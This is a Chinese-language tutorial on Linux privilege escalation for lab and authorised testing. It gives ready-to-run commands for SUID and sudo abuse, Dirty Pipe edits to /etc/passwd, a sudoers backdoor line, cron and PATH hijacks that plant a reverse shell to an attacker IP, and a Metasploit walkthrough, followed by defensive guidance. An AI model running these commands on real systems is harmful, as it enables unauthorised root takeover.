ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

Linux提权全方案:SUID提权、内核提权、计划任务、环境变量提权

Linux提权全方案:SUID提权、内核提权、计划任务、环境变量提权 04-Linux提权全方案SUID提权、内核提权、计划任务、环境变量提权开篇声明必读本系列文章仅为网络安全技术研究与教学目的撰写所有命令与手法必须在你拥有合法授权的目标环境如自己搭建的靶机、购买授权的渗透测试项目、CTF 竞赛环境中执行。未经授权对任何系统进行的渗透测试均属违法行为根据《中华人民共和国网络安全法》第二十七条、《刑法》第二百八十五条最高可处七年以下有期徒刑并处罚金。请做一名有底线的白帽技术本身没有善恶用在哪里才是关键。一、为什么拿到 webshell 还要提权先看一个让无数新手困惑的问题明明已经拿到 shell 了为什么还不满足弹个根 shell 就完事了答案藏在权限模型里。我们通过 Web 漏洞拿到的 shell绝大多数情况下是www-data或 nginx、apache这个低权限账户。它被刻意设计成只能跑 Web 服务别的什么都干不了。这就好比你在办公楼里只有一张门禁卡能进大厅但财务室、机房、经理办公室全都进不去。我们用一组命令看看差距在哪# 拿到 shell 后的第一件事确认我是谁id# 输出示例uid33(www-data) gid33(www-data) groups33(www-data)whoami# 输出示例www-data# 我能读 /etc/passwd 吗cat/etc/passwd# 能读因为 /etc/passwd 对所有用户可读# 我能读 root 的密码哈希吗cat/etc/shadow# 报错Permission denied —— 这就是权限墙逐行解释id查看当前用户的 UID、GID 和所属组。看到uid33(www-data)就说明你是个 Web 服务账户权限极其有限。whoami快捷输出当前用户名后续写脚本判断身份时常用。cat /etc/passwd/etc/passwd是系统用户数据库文件权限是 644所有人可读。你能看到系统里有哪些用户、哪些用户有/bin/bash登录 shell、哪些用户是/sbin/nologin。这是提权前的情报源。cat /etc/shadow这里才是密码哈希的真正存放地权限 640只有 root 和 shadow 组能读。www-data 读了就Permission denied。为什么提权是薪资分水岭因为实战里很多资产的价值根本不在地面层数据权限网站的数据库配置文件config.php、.env可能只有 root 能读而里面躺着生产库密码。横向空间root 能读/root/.ssh/拿到密钥直接内网横着走www-data 连目录都进不去。持久化能力只有 root 才能写crontab、写/etc/init.d、替换系统二进制真正把渗透变成接管。所以提权不是炫技而是从能打进去到打得穿的关键一跃。这篇文章就把 Linux 提权的主流路线全部梳理一遍每一条都配合命令、原理和靶场思路。二、提权前信息收集先看清自己站在哪孙子兵法讲知己知彼提权也一样。不管用什么姿势提权第一步永远是信息收集。Linux 提权的信息收集核心是回答三个问题我是谁权限有多大系统是什么内核多老有没有已知漏洞系统里有什么可写的、可执行的、可被利用的东西下面这套命令清单是提权前必做的建议直接复制到你的渗透笔记里# 1. 身份与权限信息idwhoamisudo-l# 当前用户能免密/免密码执行哪些 sudo 命令sudo-l2/dev/null# 去掉报错输出只保留关键信息# 2. 系统与内核信息uname-a# 内核版本、主机名、架构cat/etc/os-release# 发行版名称与版本号cat/etc/issue# 发行版信息老系统上更常见# 3. 文件系统可写点find/-writable-typef2/dev/null|grep-vproc|grep-vsysfind/-perm-4000-typef2/dev/null# 查找 SUID 文件提权重点find/-perm-2000-typef2/dev/null# 查找 SGID 文件# 4. 计划任务与启动项cat/etc/crontab# 系统级计划任务ls-la/etc/cron.d/ /etc/cron.*# cron 相关目录crontab-l# 当前用户的计划任务systemctl list-timers2/dev/null|head-20# systemd 定时器# 5. 网络与进程ss-tlnp# 本机监听的端口可能藏着内网服务psaux# 正在运行的进程可能跑着高权限服务逐行解释sudo -l这一条是性价比最高的命令。如果配置了 NOPASSWD 或用户拥有某些命令的 sudo 权限输出的内容直接告诉你能用 sudo 跑什么——很多提权路径就是从这一行开始的。后面会专门讲。uname -a输出内核版本。内核提权漏洞比如 Dirty Pipe都是精准对应内核版本的uname -a的结果决定你该搜哪个 CVE。find / -writable找出当前用户可写的文件。如果某个 root 拥有的可写文件恰好是计划任务要执行的脚本这就是经典的计划任务劫持。find / -perm -4000找出所有带 SUID 位的文件。SUID 文件以文件属主身份运行如果属主是 root 而这个程序又能执行系统命令那就是提权金矿。ss -tlnp查看监听端口。很多内网环境里数据库、Redis、Kubernetes 的 API 服务都监听在 127.0.0.1 上外网扫不到但拿到 shell 后就能直接访问。信息收集阶段记住一句话宁可多花十分钟收集不要凭感觉乱试。盲目尝试提权 exploit 可能直接把靶机打成宕机这在授权的渗透测试里是大忌。三、SUID 提权最经典的 Linux 提权姿势3.1 什么是 SUIDLinux 文件的权限位有三组属主、属组、其他用户。每个组里都有 r读、w写、x执行三个位。但你可能没注意过x 位上还藏着一个特殊位当属主的执行位是s而不是x时这个文件就带上了 SUIDSet User ID属性。SUID 的作用是任何用户执行这个文件时进程的有效身份临时变成文件属主的身份。如果这个文件属主是 root那就意味着——普通用户执行它就跑在 root 权限上。最典型的例子是passwd命令ls-l/usr/bin/passwd# 输出-rwsr-xr-x 1 root root 68208 1月 1 2024 /usr/bin/passwd注意属主权限位上的s。为什么passwd必须带 SUID因为普通用户要改自己的密码而密码存在/etc/shadow里只有 root 能写。所以系统给passwd加上 SUID让用户执行它时能临时以 root 身份修改 shadow 文件——但程序本身做了严格的校验只允许你改自己的密码。SUID 提权的本质就是找到一个能以 root 身份运行、又允许执行系统命令或读写任意文件的 SUID 程序然后借它的手办我们的事。passwd这种安全的程序我们碰不了但总有一些程序心太大。3.2 找 SUID 文件# 找到系统里所有 SUID 文件find/-perm-4000-typef2/dev/null# 更精确的写法-4000 表示只要设置了 SUID 位即可不必在意其他权限# -perm -4000 的减号前缀表示权限位至少包含这些位逐行解释find /从根目录开始找。-perm -4000匹配权限中包含 SUID 位的文件。4000 是 SUID 的八进制表示。-type f只看普通文件忽略目录目录的 SUID 一般无意义。2/dev/null把权限不足的报错扔掉只看有效结果。找到的列表里有些是系统正常文件passwd、sudo、su这些没法直接用。你要盯的是非常规的、可执行命令的、或者带交互式 shell 的程序。3.3 借助 GTFOBins 判断能否提权GTFOBins 是一个专门收集能被利用执行非预期操作的 Unix 二进制的网站gtfobins.github.io它是 SUID 提权的菜谱大全。套路是找到 SUID 文件 → 去 GTFOBins 查该程序有没有 SUID 利用姿势 → 照猫画虎。案例一vim如果靶机上vim带了 SUID那么# 确认 vim 的 SUID 位ls-l/usr/bin/vim# 输出-rwsr-xr-x 1 root root ... /usr/bin/vim# 利用进入 vim 后执行 Python 弹 shellvim-c:py3 import os; os.setuid(0); os.execl(/bin/bash,bash)# 或者更直白vim 内部执行系统命令vim# 进入后输入# :!/bin/bash逐行解释-c让 vim 启动时直接执行后面的命令。:py3 import os; os.setuid(0)vim 的 Python 接口里setuid(0)把进程的 UID 改成 0root。因为 vim 以 SUID 运行此刻你已经是 root 身份。os.execl(/bin/bash,bash)用 bash 替换当前进程你就获得了一个 root shell。:!/bin/bashvim 的!命令能执行外部 shell但注意它不一定继承 SUID 身份GTFOBins 上标准做法是通过-c配合解释器。案例二findfind的-exec参数可以执行任意命令而它自己如果带 SUID 位# 确认 SUIDls-l/usr/bin/find# 输出-rwsr-xr-x 1 root root ... /usr/bin/find# 提权find 执行 /bin/bash-p 参数让 bash 不降权find/-exec/bin/sh-p\;-quit逐行解释find /随便指定一个起点关键是触发-exec。-exec /bin/sh -p对每个匹配项执行/bin/sh-pprivileged参数让 sh保留 SUID 赋予的有效 UID。不加-pbash/sh 会自觉把有效身份降回真实身份——这正是很多人复现失败的原因。\;-exec命令的结束符。-quit匹配到第一个文件就退出避免它反复执行。案例三bash 自身如果/bin/bash直接带 SUID很离谱但靶场里常有# 直接运行 bash -p 即可获得 root shell/bin/bash-p# 提示符变化# 号代表 rootid# uid33(www-data) gid33(www-data) euid0(root) ← 有效 UID 是 root逐行解释/bin/bash -p-p参数让 bash 不重置有效 UID。普通 bash 在启动时如果检测到有效 UID 与真实 UID 不一致会主动把 euid 降回 uid这是保护机制-p就是绕过这个保护。确认成功看euid0(root)而不是简单的#提示符——#也可能被 PS1 伪装看 id 输出才靠谱。自查清单拿到 SUID 文件列表后逐个在 GTFOBins 上查vim、find、bash、python、perl、env、nano、less、awk、cp 等都是常见出问题的二进制。查不到就老老实实回归常规路径。四、内核提权最粗暴也最需要谨慎的路线4.1 思路版本 → 漏洞库 → 利用内核提权的逻辑非常线性uname -a拿到内核版本号。用searchsploitKali 自带 Exploit-DB 本地索引搜这个版本的已知漏洞。找到对应 exploit编译、上传、执行。4.2 使用 searchsploit 检索漏洞# 先看内核版本uname-a# 示例输出Linux victim 5.13.0-37-generic #42~20.04.1-Ubuntu SMP x86_64# 用 searchsploit 搜索该内核版本附近的漏洞searchsploit linux kernel5.13# 输出里会列出匹配的 exploit 路径、CVE 编号和漏洞描述# 查看某个 exploit 的详细内容文件路径在上一行输出里searchsploit-p49902# 输出会给出该漏洞的完整信息、作者、PoC 下载地址逐行解释searchsploit linux kernel 5.13在 Exploit-DB 中搜索关键词。注意searchsploit是按描述匹配的搜太精确容易漏搜内核主版本号往往能覆盖到周边小版本的洞。searchsploit -p 编号显示某个具体 exploit 的详细信息-p是 path 的缩写。拿到 exploit 文件后通常是 C 源码需要靶机上有没有 gcc。没有 gcc 就在攻击机交叉编译后上传或者找现成的二进制版本。4.3 两个经典案例Dirty Cow脏牛CVE-2016-5195——Linux 提权史上的传奇洞。它利用的是内核内存管理里 copy-on-write 机制的一个竞态条件任何 Linux 内核 2.6.22 到 4.8.3 之间的系统都可被本地提权。它火到什么程度哪怕目标系统本身没什么提权面只要内核版本在这个区间脏牛一跑就 root。原理简述fork()出的子进程与父进程共享内存页当一方要写入时触发 COW写时复制复制出独立页面再写。Dirty Cow 的利用手法是用mmap以只读方式映射一个 root 文件比如/etc/passwd然后疯狂触发 COW 的竞态让内核在复制页面时产生一瞬的写入窗口趁机往文件里写数据。实战用法把/etc/passwd里的 root 用户密码哈希替换成自己生成的密码然后su root直接用。Dirty Pipe脏管道CVE-2022-0847——2022 年的新脏牛。影响 Linux 5.8 到 5.16.11 之间的版本利用的是 Linux 管道pipe缓冲区的PIPE_BUF_FLAG_CAN_MERGE标志位漏洞可以直接覆盖只读文件的内容比脏牛更稳定、更快。常见用法同样是改/etc/passwd给自己开个 root 账户。# Dirty Pipe 利用的典型流程拿到 exploit 源码后gcc-odirtypipe dirtypipe.c ./dirtypipe /etc/passwd1root:$1$xxx:0:0:root:/root:/bin/bash# 参数含义目标文件、覆盖的偏移、写入的新 root 账户行suroot# 输入你设定的密码成功拿到 root逐行解释gcc -o dirtypipe dirtypipe.c编译 PoC。第二行把/etc/passwd的偏移 1 处开始覆盖成root:哈希:0:0:...把 root 的密码哈希换掉同时保证 UID 是 0。su root用新密码登录。注意改了 passwd 后记得把文件还原这是授权渗透里可回退原则的体现否则会把靶机搞坏。4.4 内核提权的注意事项内核提权虽爽但坑很多稳定性很多内核 exploit 会触发内核崩溃kernel panic导致靶机直接重启。重启 丢失 session 可能惊动蓝队。在授权测试中优先级永远排在 SUID、sudo、cron 这些软提权之后。编译环境靶机可能没有 gcc。先which gcc确认没有就换静态编译版本或别的路径。架构匹配uname -m确认是 x86_64 还是 aarch6432 位 exploit 在 64 位系统上直接挂。版本匹配一个洞的利用代码经常只对特定版本区间有效别拿到 PoC 就无脑跑。一句话内核提权是底牌不是首牌。先用软的实在不行再动内核。五、sudo 配置错误提权一行命令的改变5.1 原理NOPASSWD 与可滥用命令很多管理员为了方便会在/etc/sudoers里给普通用户授权某些命令甚至干脆免密码NOPASSWD。本意是让你能用 systemctl 重启服务但如果授权的命令本身可以被用来执行任意命令那这个授权就约等于给了 root。典型的危险命令包括vim、find、vi、more、less、man、awk、python、perl、tee、cp等。这些命令都能通过参数执行系统命令或写文件。5.2 实操演示# 第一步看自己能用 sudo 跑什么sudo-l# 假设输出# User www-data may run the following commands on victim:# (root) NOPASSWD: /usr/bin/find# 第二步利用 find 的 -exec 参数直接执行命令sudo/usr/bin/find /-exec/bin/sh-p\;-quit# 成功的话直接获得 root shellid# uid33(www-data) gid33(www-data) euid0(root)逐行解释sudo -l列出当前用户被授权的 sudo 命令。(root) NOPASSWD: /usr/bin/find的意思是你可以以 root 身份运行/usr/bin/find且不用输密码。sudo /usr/bin/find / -exec /bin/sh -p通过 sudo 以 root 身份运行 findfind 又用 root 身份执行了/bin/sh -p。-p让 sh 保持 root 的有效身份。整个过程没有弹任何漏洞纯粹是配置不当。这类问题在真实内网环境里出现频率远比想象的高。如果sudo -l里出现的是vim那就更简单# 以 root 身份进入 vimsudovim# 在 vim 里执行# :!/bin/bashtee也很有意思它不能执行命令但可以以 root 身份写任意文件——比如往/etc/sudoers里追加一行让自己获得 NOPASSWD 的完全权限# 假设 sudo -l 显示你能以 root 运行 teeechowww-data ALL(ALL) NOPASSWD: ALL|sudo/usr/bin/tee-a/etc/sudoers# 然后sudosu# 直接变 root逐行解释echo ...把要给 sudoers 追加的规则输出。sudo /usr/bin/tee -a /etc/sudoerstee -a以追加模式写文件-a是 append。因为是通过 sudo 以 root 身份跑的所以能写只有 root 能写的 sudoers。写完后sudo su现在你拥有全部 sudo 权限su直接切 root。防御视角这类问题完全是管理员的锅。原则就一条——sudoers 里永远不要给能执行任意命令的命令。判断标准很简单给的这个命令能不能通过参数去跑别的命令能就一律不给。六、计划任务cron提权等一等的艺术6.1 原理管理员常常写计划任务让系统定时干某些活比如清理日志、备份数据、同步文件。这些 cron 任务以 root 身份执行。如果出现下面两种情况就有了提权窗口任务执行的脚本文件www-data 可以写权限配置不当。任务执行的是一个不带绝对路径的命令而 PATH 里存在可写目录——这就是 PATH 劫持的变体。第二种单独放一节讲这里先看第一种。6.2 实操演示# 第一步看系统计划任务cat/etc/crontab# 假设输出里有这样一行# */5 * * * * root /opt/scripts/backup.sh# 意思是每 5 分钟root 执行一次 /opt/scripts/backup.sh# 第二步检查这个脚本是否可写ls-la/opt/scripts/backup.sh# 输出-rwxrwxrwx 1 root root ... ← 权限是 777谁都能写# 第三步往脚本里追加反弹 shellechobash -i /dev/tcp/10.10.14.5/4444 01/opt/scripts/backup.sh# 第四步攻击机开启监听最多等 5 分钟nc-lvnp4444# 任务一触发root 身份的反弹 shell 就回来了逐行解释cat /etc/crontab系统级 cron 配置。格式是分 时 日 月 周 用户 命令重点看用户这一列是不是 root。ls -la /opt/scripts/backup.sh确认脚本权限。777 说明任何人可写这种配置在图省事的运维手里并不罕见。追加反弹 shell 用追加而不是覆盖避免破坏原有脚本逻辑降低被发现概率。反弹命令在前一篇文章里拆解过bash -i开交互 shell把标准输出和标准错误都重定向/dev/tcp/10.10.14.5/4444是 bash 的内置 TCP 连接语法01把标准输入也接进来形成一个双向通道。nc -lvnp 4444-l监听、-v详细输出、-n不解析域名、-p指定端口。cron 的执行周期决定了你要等多久——这也是为什么叫等一等的艺术。6.3 别忘了看这些地方# 除了 /etc/crontab还有这些 cron 相关位置ls-la/etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/cat/etc/cron.d/*crontab-l# 当前用户的任务很多时候没权限看 root 的systemctl list-timers2/dev/null# systemd 定时器现代系统的主力老版本的 cron/etc/cron.d和 systemd timer 可能同时存在提权前全部过一遍。找到 root 执行的、且文件可写的任务就是一条现成的提权路径。七、PATH 劫持提权环境变量的杀伤力7.1 原理PATH 环境变量告诉系统去哪些目录找命令。当你执行ls时系统按 PATH 里的顺序逐个目录查找ls这个可执行文件找到了就用。PATH 劫持提权利用的是计划任务或高权限脚本执行的命令没写绝对路径而 PATH 里的某个目录又是当前用户可以写的。只要在那个目录里放一个同名程序root 执行任务时就会中招。7.2 实操演示# 第一步看 root 跑的任务这次命令没写绝对路径cat/etc/crontab# 假设输出# */5 * * * * root /opt/scripts/check.shcat/opt/scripts/check.sh# 内容uptime df -h ← 用的是 uptime 和 df没有绝对路径# 第二步看当前用户的 PATH 和可写目录echo$PATH# 输出/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin# 第三步在可写目录放一个假的 uptimeechobash -i /dev/tcp/10.10.14.5/4444 01/tmp/uptimechmodx /tmp/uptime# 但注意/tmp 不一定在 PATH 里需要看完整 PATH 里有没有可写目录# 假设这里 /usr/local/bin 是 www-data 可写的测试环境常见echobash -i /dev/tcp/10.10.14.5/4444 01/usr/local/bin/uptimechmodx /usr/local/bin/uptime# 第四步等任务触发或者想办法立即触发nc-lvnp4444逐行解释关键点check.sh里调用uptime没写/usr/bin/uptime。root 执行脚本时shell 会按 PATH 搜索uptime。如果 PATH 的搜索顺序里有一个可写目录排在系统目录前面或者干脆 PATH 里包含/usr/local/bin且该目录可写root 就会优先执行我们伪造的uptime。伪造的文件里放反弹 shellroot 一执行反弹回来的就是 root shell。chmod x必须加否则Permission denied。实战提醒PATH 劫持的难点在于找到root 会执行的不带路径命令和PATH 中的可写目录同时存在。真实环境里这种组合出现的频率不高但一旦出现威力很大。排查思路翻遍所有 root 的计划任务和启动脚本凡是裸命令不带/都要怀疑同时find / -writable -type d找可写目录对比 PATH 求交集。八、Metasploitable 靶场演示把理论串一遍光说不练假把式。这一节用 Metasploitable 2一个刻意留满漏洞的靶机虚拟机镜像免费下载走一遍拿到低权限 shell → SUID 提权的完整流程建议你开两台机器实操。环境准备攻击机KaliIP 假定 192.168.1.10靶机Metasploitable 2IP 假定 192.168.1.20第一步打进一个低权限 shellMetasploitable 2 身上漏洞很多我们挑最省事的——用 Metasploit 打它的 UnrealIRCd 后门端口 6667这是一个经典的命令执行漏洞# 攻击机启动 msfconsolemsfconsole msf6use exploit/unix/irc/unreal_ircd_3281_backdoor msf6setRHOSTS192.168.1.20 msf6setLHOST192.168.1.10 msf6setPAYLOAD cmd/unix/bind_perl msf6run# 成功的话进入 Meterpreter 会话# 或者直接拿一个普通 shellmeterpretershell# 进入系统 shellid# 输出uid1001(daemon) gid1001(daemon) ← 低权限账户逐行解释use exploit/...加载 UnrealIRCd 后门利用模块。这是官方 3.2.8.1 版本里被植入的恶意后门是当年震惊圈子的供应链投毒案例。set RHOSTS靶机 IPset LHOST回连地址。set PAYLOAD cmd/unix/bind_perl用 bind 型 payload靶机开端口等你连。bind 比 reverse 在这个场景下更稳因为不需要靶机能连回攻击机。run执行利用。拿到的是daemon账户同样是个低权限账户。第二步SUID 信息收集# 查看系统里的 SUID 文件find/-perm-4000-typef2/dev/null在 Metasploitable 2 的输出里你会看到一个不该出现的名字-rwsr-xr-x 1 root root ... /usr/bin/findfind居然带 SUID 位这是 Metasploitable 2 刻意留的彩蛋。于是前面 3.3 节的姿势直接套用# 利用 find 的 SUID 提权find/-exec/bin/sh-p\;-quitid# uid1001(daemon) gid1001(daemon) euid0(root) ← 提权成功逐行解释find /触发匹配让-exec生效。-exec /bin/sh -p以 root 的有效身份执行 sh。-p保留 SUID 身份的关键参数。-quit匹配第一个就退出避免刷屏。id输出里euid0(root)就代表当前 shell 的有效身份是 root提权完成。此时你可以cat /etc/shadow、读/root/下的任何东西。第三步验证 root 权限cat/etc/shadow|head-3# 能看到 root 的密码哈希说明真的 root 了whoami# 输出root这就是一条完整的Web 漏洞拿 shell → SUID 提权拿 root链路。Metasploitable 2 上还有弱口令、vsftpd 后门、Samba 漏洞等十几条路径可以到 root适合反复练习。九、提权失败怎么办——排查思路汇总实战里一次提权成功是少数多数时候要试好几条路。给你一张提权排查优先级清单按顺序走看配置sudo -l有没有危险命令有没有 SUID 的非常规二进制优先零风险看任务cron、systemd timer、启动脚本有没有 root 执行且可写的低风险看密码复用网站配置文件里有没有数据库密码数据库里有没有用户密码内网服务弱口令root 可能也在用同一个密码。重点看内核版本uname -a搜 searchsploit评估内核提权风险。高风险最后用看敏感文件/etc/shadow可读少见、.bash_history里有没有密码、/root/.ssh/权限配置错误、数据库日志。看网络本机有没有监听的内网服务Redis、Docker、K8s 没配认证的常有意外收获。实战提权是信息收集 耐心的活很多人栽在试一次失败就换洞上而不是把系统翻个底朝天。把目标机器当成一部要读完的书而不是一个要炸开的保险箱。十、检测与防御视角蓝队怎么守住这些路既然攻方有这么多姿势蓝队的防线就该围绕这些姿势逐一设卡。防御不是堵一个洞而是把每条路的入口都看好。10.1 SUID 位管理基线 审计维护一份允许的 SUID 文件清单用find / -perm -4000定期比对新出现的 SUID 文件立刻告警。清理原则能不用 SUID 就不用。比如很多程序可以通过 capabilitysetcap cap_setuidep或 systemd 的AmbientCapabilities实现同样功能颗粒度更细。监控关注passwd、/usr/bin/find等二进制权限位的变更文件完整性监控工具如 AIDE、Tripwire 可以覆盖。10.2 内核与补丁漏洞管理内核版本必须纳入补丁管理流程。Dirty Pipe2022 年 2 月公开发布一周内打补丁的系统和三个月后打补丁的系统被提权的概率天差地别。最小化内核面不需要的内核模块、内核特性如user namespaces如果业务用不到可以关闭它能显著降低本地提权类漏洞的利用面。更新策略重要服务器优先打安全补丁测试环境先行验证。10.3 sudo 最小权限sudoers 审计定期审查/etc/sudoers和/etc/sudoers.d/原则是凡能用 -exec、!、python -c 之类参数执行命令的命令一律不授。NOPASSWD 慎用免密授权是便利也是风险。非必要不开 NOPASSWD开了也要限定在无副作用的命令上。双因子sudo 可以接 pam_duo / pam_google_authenticator高危环境建议开启。10.4 计划任务与文件权限计划任务审计/etc/crontab、/etc/cron.*、systemd list-timers全量审计确认每个 root 任务的脚本属主是 root 且权限不超过 750。脚本内使用绝对路径所有脚本内部调用命令一律写绝对路径/usr/bin/uptime而不是uptime从根上断掉 PATH 劫持。文件权限巡检定期扫描 777 权限文件尤其关注可写目录下的 root 脚本。监控cron 目录的变更、计划任务脚本内容的变更都应纳入文件完整性监控范围。10.5 运行时检测日志sudo 默认记录在/var/log/auth.logdebian 系或/var/log/secureredhat 系。重点看异常的 sudo 使用、异常时间点、异常用户。进程监控EDR 对低权限进程执行sh -p/bash -p、sudo 执行 find/vim/python 等命令这类行为要能告警。内核审计启用auditd对 SUID 执行、/etc/passwd与/etc/sudoers的写操作进行审计。Dirty Cow 这类利用会大量触发 COW异常的内存写入行为在高级检测平台上也有特征。蓝队一句话总结权限管理 补丁管理 文件完整性监控这三板斧到位Linux 提权的绝大多数路径就都被堵上了。剩下的极少数 0day交给 EDR 和应急响应兜底。十一、写在最后这一篇把 Linux 提权的五条主线讲透了SUID 提权靠的是找错配的二进制 GTFOBins 的菜谱内核提权靠的是版本匹配 searchsploit但只作为压箱底的手段sudo 配置错误是运气与细心并存的路径计划任务与 PATH 劫持考验的是对系统细节的耐心。最后再强调一遍本文所有内容请只用在授权测试与自己的靶场上。Metasploitable 2、Vulnhub、HackTheBox、TryHackMe 都有大量合法靶机可以练手练熟每一条路径比背一百个 exploit 都有价值。提权考验的不是会不会用工具而是对系统本身的熟悉程度——你越懂 Linux 怎么工作越知道哪里会出纰漏。把 Metasploitable 2 上的每条提权路径都亲手跑一遍你会对权限这两个字有完全不同的理解。本文为系列第4篇。
返回列表